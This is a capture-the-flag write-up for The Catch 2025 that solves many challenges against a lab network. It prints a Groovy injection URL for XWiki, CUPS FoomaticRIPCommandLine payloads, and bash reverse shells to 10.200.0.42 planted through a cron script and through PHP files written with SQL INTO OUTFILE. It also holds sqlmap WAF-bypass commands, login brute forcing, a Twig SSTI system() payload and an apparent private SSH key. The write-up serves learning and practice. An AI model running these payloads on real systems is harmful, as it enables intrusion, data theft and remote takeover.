The Catch 2025¶
This is the writeup for The Catch 2025 CTF by CESNET.

Reactor¶
You can enumerate commands, however, the order matters. So, you need to try commands in sequence until you get the flag.
require 'faraday'
require 'faraday-cookie_jar'
conn = Faraday::Connection.new('http://gpn.powergrid.tcc/') do |faraday|
faraday.request :url_encoded
faraday.use :cookie_jar
end
conn.get '/'
commands = ['Initiate Control Circuits']
last_command = 'Phase the Power Plant'
resp = nil
while resp.nil? || resp.body.match?(/Invalid sequence/)
commands.each do |command|
conn.post '/', {command: "#{command}" }
conn.get '/'
end
conn.post '/', {command: "#{last_command}"}
resp = conn.get '/'
m = resp.body.match(/Invalid\ssequence.\sItem\s.*;(?<next_cmd>.*)&/)
commands << m[:next_cmd] unless m.nil?
if m.nil?
m = resp.body.match(/FLAG{(?<flag>.*)}/)
p m[:flag]
end
end
Usage:
You get the FLAG.
Or in python:
import requests
import re
commands = []
session = requests.Session()
session.headers = {"Content-Type": "application/x-www-form-urlencoded"}
while True:
for command in commands:
session.post("http://gpn.powergrid.tcc/", data=f"command={command}")
last = session.post("http://gpn.powergrid.tcc/", data=f"command=Phase the Power Plant")
if match := re.search(r"Item '(.+)' missing\. System reset\.", last.text):
parsed_match = match.group(1)
print(parsed_match)
commands.append(parsed_match)
continue
if match_flag := re.search(r"(FLAG\{.+})", last.text):
print(match_flag.group(1))
break
Sunday Expansion Pack¶
- Download the original file.
-
You will see different regex patterns in the file.
-
F.1 0 Means that row F column 1 has character 0.
-
1.1 (oh|ho)* means 1. word in column 1 has either "oh" or "ho" repeated any number of times.
-
By prioritizing the easy patterns first, you will gradually reveal https://regex-overlordxx.powergrid.tcc/ URL.

The FLAG is on the page.
Void foundry¶
In the video at 1:16 we see site and credentials:
site: http://voidfoundry.powergrid.tcc username: void password: /dev/null
The Story¶
Watch the video, copy the FLAG from it (0:46).
Falcon¶
Chapter 1: Operator¶
- http://roostguard.falcon.powergrid.tcc/
/operator/command/login- see HTML of
/operator; there will be the FLAG
We probably should know about /operator, the raw_command argument (is there a difference between command and raw_command? so far, not seeing a difference, but maybe, there is...)
command=FIRE0000: The "0000" is either coordinates or a hint for lengthening the attack.
"Old lock, rusty hinges" could be a hint about old, vulnerable SHA1
We can see there is a display reacting to our input.
Chapter 2 of Falcon: Vendor¶
There is a XWiki and you were following CVEs in 2025, you know what to do - https://nvd.nist.gov/vuln/detail/CVE-2025-24893.
You can retrieve environment variables via SolrSearch with Groovy script injection:
http://thevendor.falcon.powergrid.tcc/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20%2fproc%2fself%2fenviron%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d%20
According to the hint, we search for firmware.
/data/firmware
/data/firmware/index.html
/data/firmware/roostguard-firmware-0.9.bin
/data/firmware/prodsite3.lol
/data/firmware/prodsite2.lol
/data/firmware/thevendor-logo.png
/data/firmware/prodsite1.lol
/data/firmware directory are accessible at the URL http://thevendor.falcon.powergrid.tcc/firmware/.
Chapter 3: Open the door¶
You can extract the firmware via Ghidra.

Commands from firmware¶
require authentication:
do not require authentication:
HOTP always returns 270683 (at least for me; I have seen something else on the display already)PASS returns on the display, e.g., ">PASS CFlshi8a" Every time different.
Sometimes I see a long string on the top line of the display, a 6-digit code on the bottom line, but it may be from other players.
strings from firmware, also with strings for display:
>TEXT%s
>LASE%c
>TURR%c
>DISC %s
>PASS %s
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_
%02x
>DEMO %d
>ZERO
%06lu
>AIMM %d %d
%08lx
>VERS
v0.9
Licence
>VERS
AIMM
LASE
TURR
DEMO
TEXT
PASS
HOTP
According to the comment in HTML on how to use FIRE, we can try:
It returns a code which can be used on the login page.After login, we see the FLAG.
Printer¶
Homepage shows CUPS 2.4.7.
OpenPrinting CUPS
Home
Administration
Classes
Help
Jobs
Printers
Printers
Search in Printers:
Showing 1 of 1 printer.
Queue Name Description Location Make and Model Status
HPissimo_10_200_0_95 HPissimo powergrid.tcc HP 0.00, driverless, 2.1b1 Processing - "cfFilterExternal (ipp): Logging (PID 534) started."
Copyright © 2021-2023 OpenPrinting. All rights reserved.
We know there were exploit chains for CUPS leading to RCE in the past.
The first exploit does not work, it seems: when I print a test page on my newly added printer:
]
└─$ python exploit.py `myip` 10.99.25.20
malicious ipp server listening on ('10.200.0.23', 1234)
sending udp packet to 10.99.25.20:631 ...
wating ...
^[[6;7~----------------------------------------
Exception occurred during processing of request from ('10.99.25.20', 46328)
Traceback (most recent call last):
File "/usr/lib/python3.13/socketserver.py", line 697, in process_request_thread
self.finish_request(request, client_address)
~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/socketserver.py", line 362, in finish_request
self.RequestHandlerClass(request, client_address, self)
~~~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
File "/usr/lib/python3.13/socketserver.py", line 766, in __init__
self.handle()
~~~~~~~~~~~^^
File "/usr/lib/python3.13/http/server.py", line 436, in handle
self.handle_one_request()
~~~~~~~~~~~~~~~~~~~~~~~^^
File "/usr/lib/python3.13/http/server.py", line 424, in handle_one_request
method()
~~~~~~^^
File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/server.py", line 101, in do_POST
self.handle_ipp()
~~~~~~~~~~~~~~~^^
File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/server.py", line 140, in handle_ipp
ipp_response = self.server.behaviour.handle_ipp(
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~^
self.ipp_request, postscript_file
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
).to_string()
^
File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/behaviour.py", line 71, in handle_ipp
return command_function(ipp_request, postscript_file)
File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/behaviour.py", line 163, in operation_print_job_response
self.handle_postscript(req, psfile)
~~~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^
File "/home/kali/.local/share/virtualenvs/print-3Jdnptrg/lib/python3.13/site-packages/ippserver/behaviour.py", line 410, in handle_postscript
raise NotImplementedError
NotImplementedError
----------------------------------------
https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1
The challenge is sometimes unstable.
Tried a different exploit. https://github.com/fearsoff-org/CVE-2025-49113/blob/main/CVE-2025-49113.php https://github.com/Alie-N/cups-vulnerability-exploit/blob/main/exploit.py
One of them needed to actually accept the command on the command line...
The next exploit works though:
Another one¶
Use and follow instructions from https://github.com/gumerzzzindo/CVE-2024-47176/tree/main.
Go to http://ipp.powergrid.tcc:631/printers.
Select your printer and print a test job.
Original exploits fixed.¶
It is possible to use https://github.com/Alie-N/cups-vulnerability-exploit?tab=readme-ov-file and put the payload in either of these attributes of the IPP config (the printer's):
printer-make-and-model:
(SectionEnum.printer, b'printer-make-and-model', TagEnum.text_without_language): [b'HP 0.00"\n*FoomaticRIPCommandLine: "'+self.command.encode()+b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],
printer-privacy-policy-uri:
(SectionEnum.printer, b'printer-privacy-policy-uri', TagEnum.uri): [b'https://www.google.com/%22%5Cn*FoomaticRIPCommandLine: "' + self.command.encode() + b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],
In both cases, there is an escape out of the value with " and injected a FoomaticRIPCommandLine attribute.
Privilege escalation¶
lp@825b3290adbf:/$ cat -n /etc/cron* /etc/cron*/*
...
26 * * * * * cups_admin PATH=/opt/scripts:/usr/bin:/bin /usr/bin/python3 /opt/secure-scripts/statistics.py -n /opt/scripts/print_count.sh > /var/log/cron.log 2>&1
...
cat pri*
#!/bin/bash
log="/var/log/cups/access_log"
output="/tmp/stats.txt"
grep 'POST /printers/.*HTTP/1\.1" 200' "$log" | awk '{ print $4, $7 }' | while read -r datetime path; do
date=$(echo "$datetime" | cut -d: -f1 | tr -d '[')
printer=$(echo "$path" | cut -d'/' -f3)
echo "$date $printer"
done | sort | uniq -c | sort -nr > "$output"
lp@825b3290adbf:/opt/scripts$
The content is not important; we can delete it and upload our own script.
Reverse shell¶
rm /opt/scripts/print_count.sh
cat > /opt/scripts/print_count.sh << EOF
#!/usr/bin/bash
bash -c 'bash -i >& /dev/tcp/10.200.0.42/9000 0>&1'
EOF
chmod 777 /opt/scripts/print_count.sh
uid=1000(cups_admin) id=1001(cups_admin) groups=1001(cups_admin),1000(cronexec)
- Shell cups-admin.
$ sudo -l
Matching Defaults entries for cups_admin on 825b3290adbf:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User cups_admin may run the following commands on 825b3290adbf:
(ALL) NOPASSWD: /bin/cat /root/TODO.txt
Sensor array¶
Target is broker.powergrid.tcc.
Scan the host:
If we try to use scripts we get unathorized:
nmap -sC -sV -p1883 broker.powergrid.tcc
...
PORT STATE SERVICE VERSION
1883/tcp open mqtt
|_mqtt-subscribe: Connection rejected: Not Authorized
Let's try UDP:
nmap -sV -sU -p161,162 broker.powergrid.tcc
...
PORT STATE SERVICE VERSION
161/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
162/udp closed snmptrap
Service Info: Host: Mosquitto
Let's try scripts:
nmap -sC -sU -p161 broker.powergrid.tcc
...
PORT STATE SERVICE
161/udp open snmp
| snmp-sysdescr: MQTT broker for power grid sensors. Only reader has the rights to subscribe to a topic!
|_ System uptime: 1d00h34m14.51s (8845451 timeticks)
| snmp-info:
| enterprise: net-snmp
| engineIDFormat: unknown
| engineIDData: 50d007493ff6896800000000
| snmpEngineBoots: 15
|_ snmpEngineTime: 1d00h34m14s
reader?
Let's try it (using the same password as a username):
Now wait for a message with a FLAG.
Inaccessible Backup¶
- Download memory dump
- Get SSH key
- Get URL and user
strings inaccessible_backup.dump | grep -i backup - SSH to the machine; there is the FLAG.
Alternative way to find strings.¶
Search for "backup":@backup.powergriv6Aje+NvsdOk bkp
backup_key-cert.pub
backup_key-cert.pub.pub
backup_key.pub
make_backup: RENAME %s successful.
make_backup: DEVICE %s successful.
make_backup: SYMLINK %s successful.
keep_backup failed: %s -> "%s"
make_backup: COPY %s successful.
when --backup-dir is the same as the dest dir
Debug backup actions (levels 1-2)
BACKUP,MISC2,MOUNT,NAME2,REMOVE,SKIP
ACL,BACKUP,CONNECT2,DELTASUM2,DEL2,EXIT,FILTER2,FLIST2,FUZZY,GENR,OWN,RECV,SEND,TIME
--backup, -b make backups (see --suffix & --backup-dir)
--backup-dir=DIR make backups into hierarchy based in DIR
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
@backup.powergriv6Aje+NvsdOk bkp
.ssh/backup_key
<78>Sep 3 19:46:01 CRON[12716]: (root) CMD (eval $(keychain --eval --quiet /root/.ssh/backup_key) && /usr/bin/rsync --delete -avz /var/www/html/ bkp@backup.powergrid.tcc:/zfs/backup/w
ww/ > /dev/null 2>&1)
eval $(keychain --eval --quiet /root/.ssh/backup_key) && /usr/bin/rsync --delete -avz /var/www/html/ bkp@backup.powergrid.tcc:/zfs/backup/www/ > /dev/null 2>&1
I tried to search for:
I found the public key: When I search for the substring of this pubkey in memory, I find it there multiple times and a few pages of strings next to it, also some private keys... which is lucky, because the beginning of various pubkeys are the same; by this, I found various private keys.(ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJJLKgX4pt6Rrnskgmf5Zfe59MmCAh5GC7hCoalO38+8sjiN9KZrMWxTIm/3kKzC5tPaDgSqh/FwGN6ryKwD/+tOIsC/en2cvclcE60ARMbR6cUrqO2TqEphXLgUurE2pzlcneTRXX8PHmQsG0WkqCy22VPaHT0sNHtc3wCse18Uz5NeacK691SZGmd3+1i+FJHLRsmfoeoRXlLwOdEKWfS59AKW0J8yh2fU2Fr2CfpRemCwDQmX/WBWf6aT+fk+YlZg/hz4ZTQwIhPQ2FRwq+0HFnZjoqFF4BhMpd87wYPYHXJQ+k2kMBbXDcK+5Bycrk+0kjjsU+e8Asi1dMEp5N4qE12LyE7L2qHcLh7eq2nYzHg3GmIYEi9vb9cX5VANNrJDPSGE77MzO9fQqWI/l53WnHZkAL5TRYVcTGIYoK5snltc1tXjtSOLauCPXxjQQRzzgOIZm0oufuI2gYIuh76Q9oPbFZP2h9ZB1sFU6E12/CKiLsv9CrnvK8yFolckU= root@thecatch
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS
1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQTA2qoyMLNozBRTfVQlUEYHGvspOfUO
lHMA7AGtf+HxkgkMv3vuey32zRXP9H4FjJ1qYTLOd5ENWhdd0zmcB7YpAAAAqK0BRKutAU
SrAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBMDaqjIws2jMFFN9
VCVQRgca+yk59Q6UcwDsAa1/4fGSCQy/e+57LfbNFc/0fgWMnWphMs53kQ1aF13TOZwHti
kAAAAhAOxGG4s7mlvlYW2E8Ussh9Xor4ShjiO9ax3ppuhkuPh9AAAADXJvb3RAdGhlY2F0
-----END OPENSSH PRIVATE KEY-----
After connecting, the machine immediately outputs the flag.
BTW, there are tools: - bulk_extractor - beautiful data, but no SSH keys. - binwalk -e - nothing from that.
Webmail¶
https://github.com/hakaioffsec/CVE-2025-49113-exploit/blob/main/CVE-2025-49113.php
- Find /backup.
- Find the password for the user from the hint.
- cat /etc/passwd; there is the FLAG.
Broker¶
- Nmap the broker, you have to scan UDP ports, use
--top-ports. - SNMPv1 enum.
- Subscribe to all MQTT channels.
Gridwatch¶
Checkout gridwatch.powergrid.tcc and get access.
nmap -sV -v -A gridwatch.powergrid.tcc
...
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /authentication/login?_checkCookie=1
|_http-server-header: Apache/2.4.62 (Debian)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
Access the site.
We have nothing, let's try possible usernames: gridwatch, icinga.
Add the usernames to a file. Use a common list.
Copy the login request into a file and replace the stuff you want to fuzz.
POST /authentication/login HTTP/1.1
Host: gridwatch.powergrid.tcc:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Icinga-Accept: text/html
X-Icinga-Container: layout
X-Icinga-WindowId: eorknlgqtjwz
X-Requested-With: XMLHttpRequest
Content-Length: 172
Origin: http://gridwatch.powergrid.tcc:8080
Connection: keep-alive
Referer: http://gridwatch.powergrid.tcc:8080/authentication/login
Cookie: _chc=1; Icingaweb2=693qru8anv9gf0e632delm2rni; icingaweb2-tzo=-14400-1
Priority: u=0
username=FUZZUSER&password=FUZZPASS&rememberme=0&redirect=&formUID=form_login&CSRFToken=1181076313%7Cc310773b64e712017135edad196f486e9346a4a0612ea2e249e3801097b21ab8&btn_submit=Login
Run the bruteforce:
ffuf -request icinga-login.txt -w /usr/share/wordlists/dirb/common.txt:FUZZPASS -w users:FUZZUSER -request-proto http -ms 0 -r
We get icinga:test.
Now go through the website and enumerate what we can see. We find ip addresses for webserver and ldap. We are on the webserver, so lets checkout the ldap.
Let's try anonymous login. ldap supposedly has one.
ldapsearchhttps://medium.com/@vinayas23913/ldap-anonymous-bind-9c023c6f9b04python ldap3 libraryhttps://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
First check for anonymous login:
Now search the base:
Now we know domain - dc, search it all:
command breakdown
ldapsearch → Command-line tool for querying an LDAP directory. -x → Uses simple authentication (instead of SASL). -H ldap://1.1.1.1:389 → Specifies the LDAP server (1.1.1.1) and port (389). -s base → Performs a base-level search (queries only the root DSE, not full directory traversal). -b "" → Sets the base DN to an empty string, meaning it searches at the root DSE level. "(objectClass=)" → Queries for all objects in the directory. "" → Requests all standard attributes. "+" → Requests operational attributes, which are normally hidden (e.g., schema details, server info).
In the response we see description at the user mscott. It's base64. Let's decode it:
We get: mscott:Thatswhatshesaid.
Use the credentials to log in the Icinga again.
We find the FLAG in the event history http://gridwatch.powergrid.tcc:8080/icingadb/history.
Webhosting¶
:8000/app
"uživatel nalezen, ale heslo není správné."
e.g., admin, test, TEST, ADMIN.
301 GET 9l 28w 343c http://wwwhost-new.powergrid.tcc:8000/app => http://wwwhost-new.powergrid.tcc:8000/app/
200 GET 0l 0w 0c http://wwwhost-new.powergrid.tcc:8000/app/config.php
301 GET 9l 28w 347c http://wwwhost-new.powergrid.tcc:8000/app/css => http://wwwhost-new.powergrid.tcc:8000/app/css/
302 GET 0l 0w 0c http://wwwhost-new.powergrid.tcc:8000/app/events.php => login.php
302 GET 0l 0w 0c http://wwwhost-new.powergrid.tcc:8000/app/index.php => login.php
301 GET 9l 28w 348c http://wwwhost-new.powergrid.tcc:8000/app/lang => http://wwwhost-new.powergrid.tcc:8000/app/lang/
200 GET 7l 2103w 160302c http://wwwhost-new.powergrid.tcc:8000/app/css/bootstrap.min.css
200 GET 37l 79w 1490c http://wwwhost-new.powergrid.tcc:8000/app/login.php
302 GET 0l 0w 0c http://wwwhost-new.powergrid.tcc:8000/app/logout.php => login.php
302 GET 0l 0w 0c http://wwwhost-new.powergrid.tcc:8000/app/logs.php => login.php
301 GET 9l 28w 347c http://wwwhost-new.powergrid.tcc:8000/app/log => http://wwwhost-new.powergrid.tcc:8000/app/log/
feroxbuster reacts to various .git but also to /nbproject. It is not clear if it is due to configuration to respond with 403, or why.
X-Forwarded-For¶
Against URL http://wwwhost-new.powergrid.tcc:8000/nbproject/ with values:
Wordlist of synonyms I tried: https://gist.githubusercontent.com/kaimi-/6b3c99538dce9e3d29ad647b325007c1/raw/921b0dd64e01c31106ece6087a3582e2d6fc6bc2/gistfile1.txt (in Burp, easy to filter in IntruderX-Forwarded-For misconfiguration: The host accepted the X-FORWARDED-FOR header, which can be used to bypass access control checks and access protected endpoints, for example:
/:.*//)
Valid Login http://wwwhost-new.powergrid.tcc:8000/app/login.php
SQLMAP: ./sqlmap.py -u http://wwwhost-new.powergrid.tcc:8000/app/login.php -A curl --forms User-agent needs to be changed; otherwise, sqlmap is blocked with 403. - So there is a WAF.
In log http://wwwhost-new.powergrid.tcc:8000/app/events.php, we see: Server: Modsecurity - IP 203.0.113.10 whitelisted
SQLi¶
./sqlmap.py -u http://wwwhost-new.powergrid.tcc:8000/app/login.php -A curl --forms --headers="X-forwarded-for:203.0.113.10" --dbs
./sqlmap.py -u http://wwwhost-new.powergrid.tcc:8000/app/login.php -A curl --forms --level 5 --risk 3 --headers="X-forwarded-for:203.0.113.10" -D myapp --dump-all
We obtain the hash for user admin; hashcat says admin:Princess25 We also see admin_tools - file listing; it is a form, but the file cannot be changed. And Adminer 5.3.0, but we do not know the credentials.
- Dump INFORMATION_SCHEMA reveals one user 'svc_myapp'@'localhost'
File read via injection¶
- POST na /app/admin_tools.php
It is necessary to add
X-forwarded-for: 203.0.113.10.
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['lines'])) {
$lines = $_POST['lines'];
$output = shell_exec("/usr/bin/tac " .
LOGINS . "| head -n " . escapeshellcmd($lines));
}
}
Source Code Exfiltration¶
We return to source code dumping because there might be another vulnerability to chain with Adminer.
admin_tools.php
php-template=
<?php
require_once 'session.php';
if ($_SESSION['user'] !== 'admin') {
http_response_code(403);
echo $langs['access_denied'];
exit;
}
$output = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
if (isset($_POST['lines'])) {
$lines = $_POST['lines'];
$output = shell_exec("/usr/bin/tac " .
LOGINS . "| head -n " . escapeshellcmd($lines));
}
}
...
config.php
<?php
session_start();
define('DB_HOST', 'localhost');
define('DB_NAME', 'myapp');
//define('DB_USER', 'developer');
define('DB_USER', 'svc_myapp');
define('DB_PASS', '423e5dc8f0db6b19c85d87d69af31844');
define('LOGINS', __DIR__ . '/log/logins.log');
$language_files = [
'cs' => 'lang/cs.php',
'en' => 'lang/en.php',
];
$lang = $_GET['lang'] ?? $_SESSION['lang'] ?? 'cs';
if (!array_key_exists($lang, $language_files)) {
$lang = 'cs';
}
$_SESSION['lang'] = $lang;
require_once __DIR__ . '/' . $language_files[$lang];
Adminer¶
Maybe user developer has some DB or other rights?
Error in query (1290): The MariaDB server is running with the --secure-file-priv option, so it cannot execute this statement
We got a different error message!
http://wwwhost-new.powergrid.tcc:8000/app/tools/adminer-5.3.0-mysql.php?username=developer&variables= We want following variable:
So we can tryQuery executed OK, 97 rows affected. (0.004 s) Edit, Warnings
However, I don't have any other rights, so another problem is how to influence what is written there.
As both users have minimal rights to read and write, I approached it incorrectly by trying to write a reverse shell to a (new) table, but the developer cannot read any.
In the end, it was simple:
SELECT '----BEGIN---<?php exec("/bin/bash -c ''bash -i >& /dev/tcp/10.200.0.42/9000 0>&1''");?>--END-------'
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewashere5.php'
I can't use system(), exec(); when I try, it falls to a 500 error and stops executing PHP.
File write¶
So I either find an alternative function, or in the worst case, write everything in PHP:
SELECT '----BEGIN---<?php var_dump(getenv());?>--END-------'
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewashere9.php'
Or another possibility is to call mail() and LD_PRELOAD etc
Hmmm, I don't see shell_exec() in disabled functions.Wohoooo.....
SELECT '----BEGIN---<?php echo(shell_exec(''id''));?>--END-------'
LIMIT 0 , 100
INTO OUTFILE '/var/www/html/app/uploads/zombiewasherex2.php'
It was a matter of luck to have shell_exec available instead of exec, and the reverse shell would have worked immediately.
Reverse Shell¶
Base64 coded bash revshell worked reliably; then it was sufficient to look into /secrets; there is the FLAG.
Threatening Message¶
- Load events in log2timeline/plaso, extract plaso events to CSV.
- Find the event where command injection via curl happened (
grep curl). - Download the same file from the curl command; the address is the C2 server address.
- Fuzz the C2 server
/keys,/me,/current,/ssh; some endpoints have directory listing. - Find malware, extract pyinstaller malware (https://github.com/extremecoders-re/pyinstxtractor), decompress sc.pyz (https://pylingual.io/).
- You will find
keys. Some of these keys were used to encrypt the disk (../enc file). - Based on the logs and downloading all keys, comparing the MD5 hash will show that
814ba8dd6ef58933fb84203d4c53b9f8./key_140261531202.pubwas used (note: it must be MD5). - Find the event where the attacker logged in to some server via SSH (TCP FLOW).
- Try all keys from
/sshon the newly acquired SSH server. - You will obtain a tar archive with encrypted files; decrypt them with the key
key_140261531202.puband sc.py. - The decrypted CSV file contains the flag in b64, but in a way that an automatic flagcatcher would not catch it.
Details¶
To fill in some gaps above: 2. A lot of events in CSV; just use ViM and remove noise. On the edge of those new changes (encryption of many files), there are a few commands and curls:
http_request: GET /get_user_by__iid?q=curl%20http%3A%2F%2F%5B2001%3Adb8%3A7cc%3A%3A25%3A28%5D%2Fmy%2Fbackup2%20-o%20%2Ftmp%2Fbackup.sh HTTP/1.1 from: 2001:db8:7cc::25:28 code: 200 user_agent: curl/7.88.1
whoami
curl -h
curl http://[2001:db8:7cc::25:28]/my/backup2 -o /tmp/backup.sh
http://[2001:db8:7cc::25:28]/my/backup2
http://[2001:db8:7cc::25:28]/my/authorized_keys
08/25/2025,13:30:26,UTC,.A..,FILE,Bodyfile,Last Access Time,-,-,/home/doublepower/.ssh/authorized_keys,/home/doublepower/.ssh/authorized_keys Owner identifier: 1002 Group identifier: 1002 Mode: -rw------- MD5: c5b785e88e7595f7c14088876df69f48,2,OS:/data/container_app_new.mac,4092333,-,bodyfile,sha256_hash: e95b1b5ad836165d2a3c326096c9ee8954b25f00f84f4dd57c765d4eed9858a1; size: 754; symbolic_link_target:
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDfNdTWbbR36jcWvd/llRWiflkogmDP2i9WdyfPrTo4pWFZBpU7atijn/z8q5pBZK3WL8dsKhxaEnhq4Jxx3BNoGEhz37q+IqET8XcTv/xwKypMFmnIQJjjmaz4YaZIMLs5ZkCe4xGXVaeu4pQzJ+4b1ixA0CArN5eM2czqzZWbiFsgJLryhqf9Gtj6tZg5ZEw4ApRO5lWQMb/JnneHxgGfBdCy9poszV2Z1XW+kSwz25LsBY6PfHlP6YMCTTAuk1346kns/vGgkS1ckvk7JrsqXNfG9/t+ae02OfvRVvnn4il7B5gufC565xMcScIvxKUEwiNEFqIV5z0PGBSrYvIyAhAkVbqsDz2WSNxb5LPATE2oMAwsl8L4fraam/Lg9yGQG79nNulvM62XWXXL+mkjL1xUm+SAQDGqif2uor8j129DP2BmafRuSe/JP7oPAHOetGrR9Y1VomkwKO6xTfUX6Fjb2uYePcZUha1Bb7gRVTiwur3XZxBNiYHGh4Qqn2Yg+iSm8lJ/EgiI2Y2jbrArYE0+W4b7Pqq8i5pIxpFJm40t6Jslql4AP/URWhwPy7HCycTnP93DVYEi5I3IZ6lJSgZWaoYuawHBDnbA3UTB8aVlxu7aHMuLQYhlQdrm5912N5Vtoe1J6Qe6kGIICUb+ORYQR2q0F76fVkX5idj5BQ== dough.badman@doublepower.tcc
Jokes in the files, especially after unpacking and decrypting shared.tar.gz, resemble jokes in PortSwigger Academy (blogs, etc.).
file:///home/z/VirtualBox%20VMs/kali-Shared/thecatch2025/threateningmessage/data/shared/psy-ops/pill.jpg
Suspicious communication¶
- Open PCAP in Wireshark.
- Use the Statistics->Conversations tool to view communication.
- The fun happens between 10.99.254.2 (the attacker) and 10.99.25.101 (the compromised machine) on ports 42120-42125 of the attacker.
- Look through streams:
- 42121: Shell, exfiltrates /var/www/html (nc to port 42122) and discovers privesc through MySQL sudo.
- 42123: MySQL shell, encrypts and exfiltrates /etc/shadow (nc to port 42124) and a compressed image of /etc + /root + /home (nc to port 42125).
- Save the files on 42122 (var.tgz), 42124 (shadow.enc), 42125 (all.tgz.enc). Decrypt the two encrypted files through brute-force of PIN (it is 6 bytes as seen on 42123):
#!/usr/bin/bash
mkdir -p sus
for pin in $(seq -w 0 999999); do
openssl aes-256-cbc -d -a -pbkdf2 -in prevstr.b64 -iter 10 -out out.tst -pass pass:$pin 2>/dev/null
if [ $? -eq 0 ]; then
openssl aes-256-cbc -d -a -pbkdf2 -in stream.b64 -iter 10 -out out2.tst -pass pass:$pin 2>/dev/null
if [ $? -eq 0 ]; then
echo Candidate PIN: $pin
mv out.tst sus/shadow_$pin.txt
mv out2.tst sus/all_$pin.tgz
fi
fi
done
/var/www/; you will find that backup.php allows you to exfiltrate flag.txt and encrypt it with the apache2 admin password.
7. After getting the file, find the SSL private key of the server.
8. Import into Wireshark and decrypt SSL/TLS communication.
9. Find the query for backup.enc and save its data to a file.
11. Use the cracked key to decrypt backup.enc.
Single Sign-on¶
$ curl http://login.powergrid.tcc:8080
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>302 Found</title>
</head><body>
<h1>Found</h1>
<p>The document has moved <a href="http://intranet.powergrid.tcc:8080/">here</a>.</p>
</body></html>
' OR 1=1;-.
I did not get what the implementation of it was (the WAF rule and maybe a detection of SQLi).
These were blocked (403).
But these worked. Especially the single dash is a mystery why this "works".Hint: A WAF was probably just added in front of the old system.
I do not know what that meant.
I think I know what a bypass could be: one part of the payload in one parameter and the other part in the second one:
If it was all in one, it would be blocked by 403 again:Another bypass:
While without "x", it would be blocked:Role Management System¶
Enumeration¶
- Runs on port 80 and 443
- /announcement shows that there is /user/X.
- There is path http://idm-new.powergrid.tcc/user/X
- 30 users found.
-
http://idm-new.powergrid.tcc/user/22: user with ID 22 has an admin role.
-
http://idm-new.powergrid.tcc/announcement Probably leads nowhere?
User¶
We know from the hint that we will need bruteforce. I put the login request with username ella.reed@powergrid.tcc into Burp Intruder with 500 worst passwords wordlist and found the password 123abc.
We have access to the admin dashboard: http://idm-new.powergrid.tcc/admin/ ella.reed@powergrid.tcc:123abc.
Dashboard¶
In the admin dashboard, you see the following options:
You have administrative privileges. You can: Manage users and assign roles <--- Function for adding/removing roles does not seem to do anything. View and audit access logs <--- This might be interesting if we should bruteforce files where logs are. Configure AD/LDAP integrations <--- ??
This is very misleading, but we learned that during authenticated dirb/forced browsing, we need to exclude logout, e.g., --dont-scan logout:
feroxbuster --smart --url=http://idm-new.powergrid.tcc/admin/ -v --wordlist=/usr/share/seclists/Discovery/Web-Content/combined_words.txt -b PHPSESSID=e5569685f7586312e2ef225388477b38 --no-recursion -o ferox.txt --dont-scan logout
http://idm-new.powergrid.tcc/user/ shows a search box that reacts to special characters _ and %, which is a feature, and it goes to the SQL LIKE part; however, the rest of the characters are probably filtered, and it is not SQL injection.
SSTI¶
We can see the alert No users found for query: Unexpected character "'" in "__string_template__1f7aaea6db6588bde5f0ed4d6fff1216" at line 1.
"Template" -> SSTI Confirmed.
When we follow PortSwigger, {{7*7}} yields 49.
- We know that it's PHP from the header X-Powered-By: PHP/8.2.29.
- Most probably, it is Twig https://twig.symfony.com/doc/3.x/.
So ['cmd']|filter('system') applies the 'system()' function to each element of the array, thus executing 'cmd'.
The FLAG could be obtained via {{['env']|filter('system')}}.
SSTI Reverse Shell¶
